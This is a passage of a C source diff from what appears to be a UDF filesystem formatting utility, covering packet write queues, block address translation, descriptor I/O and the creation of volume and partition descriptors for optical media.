context.sector_size); + } else { + ret = pread(dev_fd, sector, context.sector_size, rpos); + if (ret == -1) + return errno; + if (ret < (int) context.sector_size) + return EIO; + memcpy(found_packet->packet_data + + rel_loc * context.sector_size, + sector, context.sector_size); + found_packet->present |= ((uint64_t) 1 << rel_loc); + return 0; + } + } + } + /* don't create a packet just for we read something */ + ret = pread(dev_fd, sector, context.sector_size, rpos); + if (ret == -1) + return errno; + if (ret < (int) context.sector_size) + return EIO; + return 0; +} + + +/* + * Now all write requests are queued in the TAILQ, write them out to the + * disc/file image. Special care needs to be taken for devices that are only + * strict overwritable i.e. only in packet size chunks + * + * XXX support for growing vnd? + */ + +static int +udf_writeout_writequeue(bool complete) +{ + struct wrpacket *packet, *next_packet; + int blockingnr = layout.blockingnr; + int linesize, offset, ret; + uint8_t *linebuf; + uint64_t present, all_present = -1; + uint64_t rpos, wpos; + static int t = 0; + + if (write_queuelen == 0) + return 0; + + if (blockingnr < 64) + all_present = ((uint64_t) 1 << blockingnr) -1; + linesize = blockingnr * context.sector_size; + linebuf = calloc(1, linesize); + assert(linebuf); + + /* fill in blanks if needed */ + if (complete && (context.write_strategy != UDF_WRITE_SEQUENTIAL)) { + TAILQ_FOREACH(packet, &write_queue, next) { + present = packet->present; + if (present != all_present) { + printf("%c", "\\|/-"[t++ % 4]); fflush(stdout);fflush(stderr); +//printf("%16lu : readin %08lx\n", packet->start_sectornr, packet->present ^ all_present); + rpos = (uint64_t) packet->start_sectornr * context.sector_size; + ret = pread(dev_fd, linebuf, linesize, rpos); + if (ret == -1) { + printf("\b"); + warn("error reading in blanks, " + "could indicate bad disc"); + printf(" "); + } + for (int i = 0; i < blockingnr; i++) { +//printf("present %08lx, testing bit %08lx, value %08lx\n", present, ((uint64_t) 1 << i), (present & ((uint64_t) 1 << i))); + if ((present & ((uint64_t) 1 << i)) > 0) + continue; +//printf("NOT PRESENT\n"); + offset = i * context.sector_size; + memcpy(packet->packet_data + offset, + linebuf + offset, + context.sector_size); + packet->present |= ((uint64_t) 1<present == all_present); + } + } + + /* writeout */ + TAILQ_FOREACH(packet, &write_queue, next) { + if (complete || (packet->present == all_present)) { + printf("%c", "\\|/-"[t++ % 4]); fflush(stdout);fflush(stderr); +//printf("write %lu + %d\n", packet->start_sectornr, linesize / context.sector_size); + wpos = (uint64_t) packet->start_sectornr * context.sector_size; + ret = pwrite(dev_fd, packet->packet_data, linesize, wpos); + printf("\b"); + if (ret == -1) + warn("error writing packet, " + "could indicate bad disc"); + } + } +#define TAILQ_FOREACH_SAFE(var, head, field, tvar) \ + for ((var) = TAILQ_FIRST((head)); \ + (var) && ((tvar) = TAILQ_NEXT((var), field), 1); \ + (var) = (tvar)) + /* removing completed packets */ + TAILQ_FOREACH_SAFE(packet, &write_queue, next, next_packet) { + if (complete || (packet->present == all_present)) { + TAILQ_REMOVE(&write_queue, packet, next); + free(packet->packet_data); + free(packet); + write_queuelen--; + } + } + if (complete) { + assert(TAILQ_EMPTY(&write_queue)); + write_queuelen = 0; + } + + free(linebuf); + return 0; +} + + +/* --------------------------------------------------------------------- */ + +/* simplified version of kernel routine */ +int +udf_translate_vtop(uint32_t lb_num, uint16_t vpart, + uint32_t *lb_numres, uint32_t *extres) +{ + struct part_desc *pdesc; + struct spare_map_entry *sme; + struct short_ad *short_ad; + struct extfile_entry *efe; + uint32_t ext, len, lb_rel, lb_packet, vat_off; + uint32_t start_lb, lb_offset, end_lb_offset; + uint32_t udf_rw32_lbmap; + uint32_t flags; + uint8_t *vat_pos, *data_pos; + int dscr_size, l_ea, l_ad, icbflags, addr_type; + int rel, part; + + if (vpart > UDF_VTOP_RAWPART) + return EINVAL; + + ext = INT_MAX; +translate_again: + part = context.vtop[vpart]; + pdesc = context.partitions[part]; + + switch (context.vtop_tp[vpart]) { + case UDF_VTOP_TYPE_RAW : + /* 1:1 to the end of the device */ + *lb_numres = lb_num; + *extres = MIN(ext, INT_MAX); + return 0; + case UDF_VTOP_TYPE_PHYS : + /* transform into its disc logical block */ + if (lb_num > udf_rw32(pdesc->part_len)) + return EINVAL; + *lb_numres = lb_num + udf_rw32(pdesc->start_loc); + + /* extent from here to the end of the partition */ + *extres = MIN(ext, udf_rw32(pdesc->part_len) - lb_num); + if (*extres == 0) + return EINVAL; + return 0; + case UDF_VTOP_TYPE_VIRT : + /* only maps one logical block, lookup in VAT */ + if (lb_num * 4 >= context.vat_size) + return EINVAL; + vat_off = context.vat_start + lb_num * 4; + vat_pos = context.vat_contents + vat_off; + udf_rw32_lbmap = *((uint32_t *) vat_pos); + + if (vat_off >= context.vat_size) /* XXX > or >= ? */ + return EINVAL; + lb_num = udf_rw32(udf_rw32_lbmap); + + /* transform into its disc logical block */ + if (lb_num > udf_rw32(pdesc->part_len)) + return EINVAL; + *lb_numres = lb_num + udf_rw32(pdesc->start_loc); + + /* just one logical block */ + *extres = 1; + return 0; + case UDF_VTOP_TYPE_SPAREABLE : + /* check if the packet containing the lb_num is remapped */ + lb_packet = lb_num / layout.spareable_blockingnr; + lb_rel = lb_num % layout.spareable_blockingnr; + + for (rel = 0; rel < udf_rw16(context.sparing_table->rt_l); rel++) { + sme = &context.sparing_table->entries[rel]; + if (lb_packet == udf_rw32(sme->org)) { + /* NOTE maps to absolute disc logical block! */ + *lb_numres = udf_rw32(sme->map) + lb_rel; + *extres = layout.spareable_blockingnr - lb_rel; + return 0; + } + } + + /* transform into its disc logical block */ + if (lb_num > udf_rw32(pdesc->part_len)) + return EINVAL; + *lb_numres = lb_num + udf_rw32(pdesc->start_loc); + + /* rest of block */ + *extres = MIN(ext, layout.spareable_blockingnr - lb_rel); + return 0; + case UDF_VTOP_TYPE_META : + /* we have to look into the file's allocation descriptors */ + + /* get first overlapping extent */ + efe = context.meta_file; + dscr_size = sizeof(struct extfile_entry) - 1; + l_ea = udf_rw32(efe->l_ea); + l_ad = udf_rw32(efe->l_ad); + + icbflags = udf_rw16(efe->icbtag.flags); + addr_type = icbflags & UDF_ICB_TAG_FLAGS_ALLOC_MASK; + if (addr_type != UDF_ICB_SHORT_ALLOC) { + warnx("specification violation: metafile not using" + "short allocs"); + return EINVAL; + } + + data_pos = (uint8_t *) context.meta_file + dscr_size + l_ea; + short_ad = (struct short_ad *) data_pos; + lb_offset = 0; + while (l_ad > 0) { + len = udf_rw32(short_ad->len); + start_lb = udf_rw32(short_ad->lb_num); + flags = UDF_EXT_FLAGS(len); + len = UDF_EXT_LEN(len); + if (flags == UDF_EXT_REDIRECT) { + warnx("implementation limit: no support for " + "extent redirection in metadata file"); + return EINVAL; + } + end_lb_offset = lb_offset + len / context.sector_size; + /* overlap? */ + if (end_lb_offset > lb_num) + break; + short_ad++; + lb_offset = end_lb_offset; + l_ad -= sizeof(struct short_ad); + } + if (l_ad <= 0) { + warnx("looking up outside metadata partition!"); + return EINVAL; + } + lb_num = start_lb + (lb_num - lb_offset); + vpart = part; + ext = end_lb_offset - lb_num; + /* + * vpart and lb_num are updated, translate again since we + * might be mapped on spareable media + */ + goto translate_again; + default: + printf("UDF vtop translation scheme %d unimplemented yet\n", + context.vtop_tp[vpart]); + } + + return EINVAL; +} + +/* --------------------------------------------------------------------- */ + +int +udf_read_phys(void *blob, uint32_t location, uint32_t sects) +{ + uint32_t phys, cnt; + uint8_t *bpos; + int error; + + for (cnt = 0; cnt < sects; cnt++) { + bpos = (uint8_t *) blob; + bpos += context.sector_size * cnt; + + phys = location + cnt; + error = udf_read_sector(bpos, phys); + if (error) + return error; + } + return 0; +} + + +int +udf_write_phys(void *blob, uint32_t location, uint32_t sects) +{ + uint32_t phys, cnt; + uint8_t *bpos; + int error; + + for (cnt = 0; cnt < sects; cnt++) { + bpos = (uint8_t *) blob; + bpos += context.sector_size * cnt; + + phys = location + cnt; + error = udf_write_sector(bpos, phys); + if (error) + return error; + } + return 0; +} + + +int +udf_read_virt(void *blob, uint32_t location, uint16_t vpart, + uint32_t sectors) +{ + uint32_t phys, ext; + uint8_t *data; + int error; + + /* determine physical location */ + data = (uint8_t *) blob; + while (sectors) { + if (udf_translate_vtop(location, vpart, &phys, &ext)) { + // warnx("internal error: bad translation"); + return EINVAL; + } + ext = MIN(sectors, ext); + error = udf_read_phys(data, phys, ext); + if (error) + return error; + location += ext; + data += ext * context.sector_size; + sectors -= ext; + } + return 0; +} + + +int +udf_write_virt(void *blob, uint32_t location, uint16_t vpart, + uint32_t sectors) +{ + uint32_t phys, ext, alloc_pos; + uint8_t *data; + int error; + + /* determine physical location */ + if (context.vtop_tp[vpart] == UDF_VTOP_TYPE_VIRT) { + assert(sectors == 1); + alloc_pos = context.alloc_pos[context.data_part]; + udf_vat_update(location, alloc_pos); + udf_translate_vtop(alloc_pos, context.vtop[vpart], &phys, &ext); + context.alloc_pos[context.data_part]++; + return udf_write_phys(blob, phys, sectors); + } + + data = (uint8_t *) blob; + while (sectors) { + if (udf_translate_vtop(location, vpart, &phys, &ext)) { + warnx("internal error: bad translation"); + return EINVAL; + } + ext = MIN(sectors, ext); + error = udf_write_phys(data, phys, ext); + if (error) + return error; + location += ext; + data += ext * context.sector_size; + sectors -= ext; + } + return 0; +} + + +int +udf_read_dscr_phys(uint32_t sector, union dscrptr **dstp) +{ + union dscrptr *dst, *new_dst; + uint8_t *pos; + uint32_t sectors, dscrlen, sector_size; + int error; + + sector_size = context.sector_size; + + *dstp = dst = NULL; + dscrlen = sector_size; + + /* read initial piece */ + dst = malloc(sector_size); + assert(dst); + error = udf_read_sector(dst, sector); +// if (error) +// warn("read error"); + + if (!error) { + /* check if its an empty block */ + if (is_zero(dst, sector_size)) { + /* return no error but with no dscrptr */ + /* dispose first block */ + free(dst); + return 0; + } + /* check if its a valid tag */ + error = udf_check_tag(dst); + if (error) { + free(dst); + return 0; + } + /* calculate descriptor size */ + dscrlen = udf_tagsize(dst, sector_size); + } + + if (!error && (dscrlen > sector_size)) { + /* read the rest of descriptor */ + + new_dst = realloc(dst, dscrlen); + if (new_dst == NULL) { + free(dst); + return ENOMEM; + } + dst = new_dst; + + sectors = dscrlen / sector_size; + pos = (uint8_t *) dst + sector_size; + error = udf_read_phys(pos, sector + 1, sectors-1); + if (error) + warnx("read error"); + } + if (!error) + error = udf_check_tag_payload(dst, dscrlen); + if (error && dst) { + free(dst); + dst = NULL; + } + *dstp = dst; + + return error; +} + + +int +udf_write_dscr_phys(union dscrptr *dscr, uint32_t location, + uint32_t sectors) +{ + dscr->tag.tag_loc = udf_rw32(location); + (void) udf_validate_tag_and_crc_sums(dscr); + + assert(sectors == udf_tagsize(dscr, context.sector_size) / context.sector_size); + return udf_write_phys(dscr, location, sectors); +} + + +int +udf_read_dscr_virt(uint32_t sector, uint16_t vpart, union dscrptr **dstp) +{ + union dscrptr *dst, *new_dst; + uint8_t *pos; + uint32_t sectors, dscrlen, sector_size; + int error; + + sector_size = context.sector_size; + + *dstp = dst = NULL; + dscrlen = sector_size; + + /* read initial piece */ + dst = calloc(1, sector_size); + assert(dst); + error = udf_read_virt(dst, sector, vpart, 1); + if (error) + return error; + + if (!error) { + /* check if its a valid tag */ + error = udf_check_tag(dst); + if (error) { + /* check if its an empty block */ + if (is_zero(dst, sector_size)) { + /* return no error but with no dscrptr */ + /* dispose first block */ + free(dst); + return 0; + } + } + /* calculate descriptor size */ + dscrlen = udf_tagsize(dst, sector_size); + } + + if (!error && (dscrlen > sector_size)) { + /* read the rest of descriptor */ + + new_dst = realloc(dst, dscrlen); + if (new_dst == NULL) { + free(dst); + return ENOMEM; + } + dst = new_dst; + + sectors = dscrlen / sector_size; + pos = (uint8_t *) dst + sector_size; + error = udf_read_virt(pos, sector + 1, vpart, sectors-1); + if (error) + warn("read error"); + } + if (!error) + error = udf_check_tag_payload(dst, dscrlen); + if (error && dst) { + free(dst); + dst = NULL; + } + *dstp = dst; + + return error; +} + + +int +udf_write_dscr_virt(union dscrptr *dscr, uint32_t location, uint16_t vpart, + uint32_t sectors) +{ + struct file_entry *fe; + struct extfile_entry *efe; + struct extattrhdr_desc *extattrhdr; + + extattrhdr = NULL; + if (udf_rw16(dscr->tag.id) == TAGID_FENTRY) { + fe = (struct file_entry *) dscr; + if (udf_rw32(fe->l_ea) > 0) + extattrhdr = (struct extattrhdr_desc *) fe->data; + } + if (udf_rw16(dscr->tag.id) == TAGID_EXTFENTRY) { + efe = (struct extfile_entry *) dscr; + if (udf_rw32(efe->l_ea) > 0) + extattrhdr = (struct extattrhdr_desc *) efe->data; + } + if (extattrhdr) { + extattrhdr->tag.tag_loc = udf_rw32(location); + udf_validate_tag_and_crc_sums((union dscrptr *) extattrhdr); + } + + dscr->tag.tag_loc = udf_rw32(location); + udf_validate_tag_and_crc_sums(dscr); + + assert(sectors >= (udf_tagsize(dscr, context.sector_size) / context.sector_size)); + return udf_write_virt(dscr, location, vpart, sectors); +} + + +int +is_zero(void *blob, int size) { + uint8_t *p = blob; + for (int i = 0; i < size; i++, p++) + if (*p) + return 0; + return 1; +} + +/* --------------------------------------------------------------------- */ + +static void +udf_partition_alloc(int nblk, int vpart, struct long_ad *pos) +{ + memset(pos, 0, sizeof(*pos)); + pos->len = udf_rw32(nblk * context.sector_size); + pos->loc.lb_num = udf_rw32(context.alloc_pos[vpart]); + pos->loc.part_num = udf_rw16(vpart); + + udf_mark_allocated(context.alloc_pos[vpart], vpart, nblk); + context.alloc_pos[vpart] += nblk; +} + + +void +udf_metadata_alloc(int nblk, struct long_ad *pos) +{ + udf_partition_alloc(nblk, context.metadata_part, pos); +} + + +void +udf_data_alloc(int nblk, struct long_ad *pos) +{ + udf_partition_alloc(nblk, context.data_part, pos); +} + + +void +udf_fids_alloc(int nblk, struct long_ad *pos) +{ + udf_partition_alloc(nblk, context.fids_part, pos); +} + + +/* --------------------------------------------------------------------- */ + +/* + * udf_derive_format derives the format_flags from the disc's mmc_discinfo. + * The resulting flags uniquely define a disc format. Note there are at least + * 7 distinct format types defined in UDF. + */ + +#define UDF_VERSION(a) \ + (((a) == 0x102) || ((a) == 0x150) || ((a) == 0x200) || \ + ((a) == 0x201) || ((a) == 0x250) || ((a) == 0x260)) + +int +udf_derive_format(int req_enable, int req_disable) +{ + int format_flags; + int media_accesstype; + + /* disc writability, formatted, appendable */ + if ((mmc_discinfo.mmc_cur & MMC_CAP_RECORDABLE) == 0) { + warnx("can't newfs readonly device"); + return EROFS; + } + if (mmc_discinfo.mmc_cur & MMC_CAP_SEQUENTIAL) { + /* sequentials need sessions appended */ + if (mmc_discinfo.disc_state == MMC_STATE_CLOSED) { + warnx("can't append session to a closed disc"); + return EROFS; + } + if ((mmc_discinfo.disc_state != MMC_STATE_EMPTY) && + !context.create_new_session) { + warnx("disc not empty! Use -F to force " + "initialisation"); + return EROFS; + } + } else { + /* check if disc (being) formatted or has been started on */ + if (mmc_discinfo.disc_state == MMC_STATE_EMPTY) { + warnx("disc is not formatted"); + return EROFS; + } + } + + /* determine UDF format */ + format_flags = 0; + if (mmc_discinfo.mmc_cur & MMC_CAP_REWRITABLE) { + /* all rewritable media */ + format_flags |= FORMAT_REWRITABLE; + if (context.min_udf >= 0x0250) { + /* standard dictates meta as default */ + format_flags |= FORMAT_META; + } + + if ((mmc_discinfo.mmc_cur & MMC_CAP_HW_DEFECTFREE) == 0) { + /* spareables for defect management */ + if (context.min_udf >= 0x150) + format_flags |= FORMAT_SPAREABLE; + } + } else { + /* all once recordable media */ + format_flags |= FORMAT_WRITEONCE; + if (mmc_discinfo.mmc_cur & MMC_CAP_SEQUENTIAL) { + format_flags |= FORMAT_SEQUENTIAL; + + if (mmc_discinfo.mmc_cur & MMC_CAP_PSEUDOOVERWRITE) { + /* logical overwritable */ + format_flags |= FORMAT_LOW; + } else { + /* have to use VAT for overwriting */ + format_flags |= FORMAT_VAT; + } + } else { + /* rare WORM devices, but BluRay has one, strat4096 */ + format_flags |= FORMAT_WORM; + } + } + + /* enable/disable requests */ + if (req_disable & FORMAT_META) { + format_flags &= ~(FORMAT_META | FORMAT_LOW); + req_disable &= ~FORMAT_META; + } + if ((format_flags & FORMAT_VAT) & UDF_512_TRACK) + format_flags |= FORMAT_TRACK512; + + if (req_enable & FORMAT_READONLY) { + format_flags |= FORMAT_READONLY; + } + + /* determine partition/media access type */ + media_accesstype = UDF_ACCESSTYPE_NOT_SPECIFIED; + if (mmc_discinfo.mmc_cur & MMC_CAP_REWRITABLE) { + media_accesstype = UDF_ACCESSTYPE_OVERWRITABLE; + if (mmc_discinfo.mmc_cur & MMC_CAP_ERASABLE) + media_accesstype = UDF_ACCESSTYPE_REWRITEABLE; + } else { + /* all once recordable media */ + media_accesstype = UDF_ACCESSTYPE_WRITE_ONCE; + } + if (mmc_discinfo.mmc_cur & MMC_CAP_PSEUDOOVERWRITE) + media_accesstype = UDF_ACCESSTYPE_PSEUDO_OVERWITE; + + /* patch up media accesstype */ + if (req_enable & FORMAT_READONLY) { + /* better now */ + media_accesstype = UDF_ACCESSTYPE_READ_ONLY; + } + + /* adjust minimum version limits */ + if (format_flags & FORMAT_VAT) + context.min_udf = MAX(context.min_udf, 0x0150); + if (format_flags & FORMAT_SPAREABLE) + context.min_udf = MAX(context.min_udf, 0x0150); + if (format_flags & FORMAT_META) + context.min_udf = MAX(context.min_udf, 0x0250); + if (format_flags & FORMAT_LOW) + context.min_udf = MAX(context.min_udf, 0x0260); + + /* adjust maximum version limits not to tease or break things */ + if (!(format_flags & (FORMAT_META | FORMAT_LOW | FORMAT_VAT)) && + (context.max_udf > 0x200)) + context.max_udf = 0x201; + + if ((format_flags & (FORMAT_VAT | FORMAT_SPAREABLE)) == 0) + if (context.max_udf <= 0x150) + context.min_udf = 0x102; + + /* limit Ecma 167 descriptor if possible/needed */ + context.dscrver = 3; + if ((context.min_udf < 0x200) || (context.max_udf < 0x200)) { + context.dscrver = 2; + context.max_udf = 0x150; /* last version < 0x200 */ + } + + /* is it possible ? */ + if (context.min_udf > context.max_udf) { + warnx("initialisation prohibited by specified maximum " + "UDF version 0x%04x. Minimum version required 0x%04x", + context.max_udf, context.min_udf); + return EPERM; + } + + if (!UDF_VERSION(context.min_udf) || !UDF_VERSION(context.max_udf)) { + warnx("internal error, invalid min/max udf versionsi in %s", + __func__); + return EPERM; + } + context.format_flags = format_flags; + context.media_accesstype = media_accesstype; + + return 0; +} + +#undef UDF_VERSION + + +/* --------------------------------------------------------------------- */ + +int +udf_proces_names(void) +{ + struct timeval time_of_day; + uint32_t primary_nr; + uint64_t volset_nr; + + if (context.logvol_name == NULL) + context.logvol_name = strdup("anonymous"); + if (context.primary_name == NULL) { + if (mmc_discinfo.disc_flags & MMC_DFLAGS_DISCIDVALID) { + primary_nr = mmc_discinfo.disc_id; + } else { + primary_nr = (uint32_t) random(); + } + context.primary_name = calloc(32, 1); + sprintf(context.primary_name, "%08lx", primary_nr); + } + if (context.volset_name == NULL) { + if (mmc_discinfo.disc_flags & MMC_DFLAGS_BARCODEVALID) { + volset_nr = mmc_discinfo.disc_barcode; + } else { + (void)gettimeofday(&time_of_day, NULL); + volset_nr = (uint64_t) random(); + volset_nr |= ((uint64_t) time_of_day.tv_sec) << 32; + } + context.volset_name = calloc(128,1); + sprintf(context.volset_name, "%016llx", volset_nr); + } + if (context.fileset_name == NULL) + context.fileset_name = strdup("anonymous"); + + /* check passed/created identifiers */ + if (strlen(context.logvol_name) > 128) { + warnx("logical volume name too long"); + return EINVAL; + } + if (strlen(context.primary_name) > 32) { + warnx("primary volume name too long"); + return EINVAL; + } + if (strlen(context.volset_name) > 128) { + warnx("volume set name too long"); + return EINVAL; + } + if (strlen(context.fileset_name) > 32) { + warnx("fileset name too long"); + return EINVAL; + } + + /* signal all OK */ + return 0; +} + +/* --------------------------------------------------------------------- */ + +int +udf_write_iso9660_vrs(void) +{ + struct vrs_desc *iso9660_vrs_desc; + uint32_t pos; + int error, cnt, dpos; + + /* create ISO/Ecma-167 identification descriptors */ + if ((iso9660_vrs_desc = calloc(1, context.sector_size)) == NULL) + return ENOMEM; + + /* + * All UDF formats should have their ISO/Ecma-167 descriptors written + * except when not possible due to track reservation in the case of + * VAT + */ + if ((context.format_flags & FORMAT_TRACK512) == 0) { + dpos = (2048 + context.sector_size - 1) / context.sector_size; + + /* wipe at least 6 times 2048 byte `sectors' */ + for (cnt = 0; cnt < 6 *dpos; cnt++) { + pos = layout.iso9660_vrs + cnt; + if ((error = udf_write_sector(iso9660_vrs_desc, pos))) { + free(iso9660_vrs_desc); + return error; + } + } + + /* common VRS fields in all written out ISO descriptors */ + iso9660_vrs_desc->struct_type = 0; + iso9660_vrs_desc->version = 1; + pos = layout.iso9660_vrs; + + /* BEA01, NSR[23], TEA01 */ + memcpy(iso9660_vrs_desc->identifier, "BEA01", 5); + if ((error = udf_write_sector(iso9660_vrs_desc, pos))) { + free(iso9660_vrs_desc); + return error; + } + pos += dpos; + + if (context.dscrver == 2) + memcpy(iso9660_vrs_desc->identifier, "NSR02", 5); + else + memcpy(iso9660_vrs_desc->identifier, "NSR03", 5); + ; + if ((error = udf_write_sector(iso9660_vrs_desc, pos))) { + free(iso9660_vrs_desc); + return error; + } + pos += dpos; + + memcpy(iso9660_vrs_desc->identifier, "TEA01", 5); + if ((error = udf_write_sector(iso9660_vrs_desc, pos))) { + free(iso9660_vrs_desc); + return error; + } + } + + free(iso9660_vrs_desc); + /* return success */ + return 0; +} + + +/* --------------------------------------------------------------------- */ + +int +udf_get_blockingnr(struct mmc_trackinfo *ti) +{ + int blockingnr; + + /* determine blockingnr */ + blockingnr = ti->packet_size; + if (blockingnr <= 1) { + /* paranoia on blockingnr */ + switch (mmc_discinfo.mmc_profile) { + case 0x01 : /* DISC */ + blockingnr = 64; + break; + case 0x08 : /* CDROM */ + case 0x09 : /* CD-R */ + case 0x0a : /* CD-RW */ + blockingnr = 32; /* UDF requirement */ + break; + case 0x10 : /* DVDROM */ + case 0x11 : /* DVD-R (DL) */ + case 0x12 : /* DVD-RAM */ + case 0x1b : /* DVD+R */ + case 0x2b : /* DVD+R Dual layer */ + case 0x13 : /* DVD-RW restricted overwrite */ + case 0x14 : /* DVD-RW sequential */ + case 0x1a : /* DVD+RW */ + blockingnr = 16; /* SCSI definition */ + break; + case 0x40 : /* BDROM */ + case 0x41 : /* BD-R Sequential recording (SRM) */ + case 0x42 : /* BD-R Random recording (RRM) */ + case 0x43 : /* BD-RE */ + case 0x51 : /* HD DVD-R */ + case 0x52 : /* HD DVD-RW */ + blockingnr = 32; /* SCSI definition */ + break; + default: + break; + } + } + return blockingnr; +} + + +int +udf_spareable_blocks(void) +{ + if (mmc_discinfo.mmc_class == MMC_CLASS_CD) { + /* not too much for CD-RW, still 20MiB */ + return 32; + } else { + /* take a value for DVD*RW mainly, BD is `defect free' */ + return 512; + } +} + + +int +udf_spareable_blockingnr(void) +{ + struct mmc_trackinfo ti; + int spareable_blockingnr; + int error; + + /* determine span/size */ + ti.tracknr = mmc_discinfo.first_track_last_session; + error = udf_update_trackinfo(&ti); + spareable_blockingnr = udf_get_blockingnr(&ti); + if (error) + spareable_blockingnr = 32; + + /* + * Note that for (bug) compatibility with version UDF 2.00 + * (fixed in 2.01 and higher) the blocking size needs to be 32 + * sectors otherwise the drive's blockingnr. + */ + if (context.min_udf <= 0x200) + spareable_blockingnr = 32; + return spareable_blockingnr; +} + + +/* + * Main function that creates and writes out disc contents based on the + * format_flags's that uniquely define the type of disc to create. + */ + +int +udf_do_newfs_prefix(void) +{ + union dscrptr *zero_dscr; + union dscrptr *dscr; + struct mmc_trackinfo ti; + uint32_t blockingnr; + uint32_t cnt, loc, len; + int sectcopy; + int error, integrity_type; + int data_part, metadata_part; + int format_flags; + + /* init */ + format_flags = context.format_flags; + + /* determine span/size */ + ti.tracknr = mmc_discinfo.first_track_last_session; + error = udf_update_trackinfo(&ti); + if (error) + return error; + + if (mmc_discinfo.sector_size > context.sector_size) { + warnx("impossible to format: " + "sector size %d too small for media sector size %d", + context.sector_size, mmc_discinfo.sector_size); + return EIO; + } + + /* determine blockingnr */ + blockingnr = udf_get_blockingnr(&ti); + if (blockingnr <= 0) { + warnx("can't fixup blockingnumber for device " + "type %d", mmc_discinfo.mmc_profile); + warnx("device is not returning valid blocking" + " number and media type is unknown"); + return EINVAL; + } + + wrtrack_skew = 0; + if (mmc_discinfo.mmc_cur & MMC_CAP_SEQUENTIAL) + wrtrack_skew = ti.next_writable % blockingnr; + + /* get layout */ + error = udf_calculate_disc_layout(context.min_udf, + ti.track_start, mmc_discinfo.last_possible_lba, + context.sector_size, blockingnr); + + /* cache partition for we need it often */ + data_part = context.data_part; + metadata_part = context.metadata_part; + + /* Create sparing table descriptor if applicable */ + if (format_flags & FORMAT_SPAREABLE) { + if ((error = udf_create_sparing_tabled())) + return error; + + if (context.check_surface) { + if ((error = udf_surface_check())) + return error; + } + } + + /* Create a generic terminator descriptor (later reused) */ + terminator_dscr = calloc(1, context.sector_size); + if (terminator_dscr == NULL) + return ENOMEM; + udf_create_terminator(terminator_dscr, 0); + + /* + * Create the two Volume Descriptor Sets (VDS) each containing the + * following descriptors : primary volume, partition space, + * unallocated space, logical volume, implementation use and the + * terminator + */ + + /* start of volume recognition sequence building */ + context.vds_seq = 0; + + /* Create primary volume descriptor */ + if ((error = udf_create_primaryd())) + return error; + + /* Create partition descriptor */ + if ((error = udf_create_partitiond(context.data_part))) + return error; + + /* Create unallocated space descriptor */ + if ((error = udf_create_unalloc_spaced())) + return error; + + /* Create logical volume descriptor */ + if ((error = udf_create_logical_dscr())) + return error; + + /* Create implementation use descriptor */ + /* TODO input of fields 1,2,3 and passing them */ + if ((error = udf_create_impvold(NULL, NULL, NULL))) + return error; + + /* Create anchors */ + for (cnt = 0; cnt < 3; cnt++) { + if ((error = udf_create_anchor(cnt))) { + return error; + } + } + + /* + * Write out what we've created so far. + * + * Start with wipeout of VRS1 upto start of partition. This allows + * formatting for sequentials with the track reservation and it + * cleans old rubbish on rewritables. For sequentials without the + * track reservation all is wiped from track start. + */ + if ((zero_dscr = calloc(1, context.sector_size)) == NULL) + return ENOMEM; + + loc = (format_flags & FORMAT_TRACK512) ? layout.vds1 : ti.track_start; + for (; loc < layout.part_start_lba; loc++) { + if ((error = udf_write_sector(zero_dscr, loc))) { + free(zero_dscr); + return error; + } + } + free(zero_dscr); + + /* writeout iso9660 vrs */ + if ((error = udf_write_iso9660_vrs())) + return error; + + /* Writeout anchors */ + for (cnt = 0; cnt < 3; cnt++) { + dscr = (union dscrptr *) context.anchors[cnt]; + loc = layout.anchors[cnt]; + if ((error = udf_write_dscr_phys(dscr, loc, 1))) { + err(1, "ERR!"); + return error; + } + + /* sequential media has only one anchor */ + if (format_flags & FORMAT_SEQUENTIAL) + break; + } + + /* write out main and secondary VRS */ + for (sectcopy = 1; sectcopy <= 2; sectcopy++) { + loc = (sectcopy == 1) ? layout.vds1 : layout.vds2; + + /* primary volume descriptor */ + dscr = (union dscrptr *) context.primary_vol; + error = udf_write_dscr_phys(dscr, loc, 1); + if (error) + return error; + loc++; + + /* partition descriptor(s) */ + for (cnt = 0; cnt < UDF_PARTITIONS; cnt++) { + dscr = (union dscrptr *) context.partitions[cnt]; + if (dscr) { + error = udf_write_dscr_phys(dscr, loc, 1); + if (error) + return error; + loc++; + } + } + + /* unallocated space descriptor */ + dscr = (union dscrptr *) context.unallocated; + error = udf_write_dscr_phys(dscr, loc, 1); + if (error) + return error; + loc++; + + /* logical volume descriptor */ + dscr = (union dscrptr *) context.logical_vol; + error = udf_write_dscr_phys(dscr, loc, 1); + if (error) + return error; + loc++; + + /* implementation use descriptor */ + dscr = (union dscrptr *) context.implementation; + error = udf_write_dscr_phys(dscr, loc, 1); + if (error) + return error; + loc++; + + /* terminator descriptor */ + error = udf_write_dscr_phys(terminator_dscr, loc, 1); + if (error) + return error; + loc++; + } + + /* writeout the two spareable table descriptors (if needed) */ + if (format_flags & FORMAT_SPAREABLE) { + for (sectcopy = 1; sectcopy <= 2; sectcopy++) { + loc = (sectcopy == 1) ? layout.spt_1 : layout.spt_2; + dscr = (union dscrptr *) context.sparing_table; + len = udf_tagsize(dscr, context.sector_size) / + context.sector_size; + + /* writeout */ + error = udf_write_dscr_phys(dscr, loc, len); + if (error) + return error; + } + } + + /* + * Create unallocated space bitmap descriptor. Sequential recorded + * media report their own free/used space; no free/used space tables + * should be recorded for these. + */ + if ((format_flags & (FORMAT_SEQUENTIAL | FORMAT_READONLY)) == 0) { + error = udf_create_space_bitmap( + layout.alloc_bitmap_dscr_size, + layout.part_size_lba, + &context.part_unalloc_bits[data_part]); + if (error) + return error; + /* TODO: freed space bitmap if applicable */ + + /* mark space allocated for the unallocated space bitmap */ + udf_mark_allocated(layout.unalloc_space, data_part, + layout.alloc_bitmap_dscr_size); + } + + /* + * Create metadata partition file entries and allocate and init their + * space and free space maps. + */ + if (format_flags & FORMAT_META) { + error = udf_create_meta_files(); + if (error) + return error; + + /* mark space allocated for meta partition and its bitmap */ + udf_mark_allocated(layout.meta_file, data_part, 1); + udf_mark_allocated(layout.meta_mirror, data_part, 1); + udf_mark_allocated(layout.meta_part_start_lba, data_part, + layout.meta_part_size_lba); + + if (context.meta_bitmap) { + /* metadata bitmap creation and accounting */ + error = udf_create_space_bitmap( + layout.meta_bitmap_dscr_size, + layout.meta_part_size_lba, + &context.part_unalloc_bits[metadata_part]); + if (error) + return error; + + udf_mark_allocated(layout.meta_bitmap, data_part, 1); + /* mark space allocated for the unallocated space bitmap */ + udf_mark_allocated(layout.meta_bitmap_space, + data_part, + layout.meta_bitmap_dscr_size); + } + } + + /* create logical volume integrity descriptor */ + context.num_files = 0; + context.num_directories = 0; + integrity_type = UDF_INTEGRITY_OPEN; + if ((error = udf_create_lvintd(integrity_type))) + return error; + + /* writeout initial open integrity 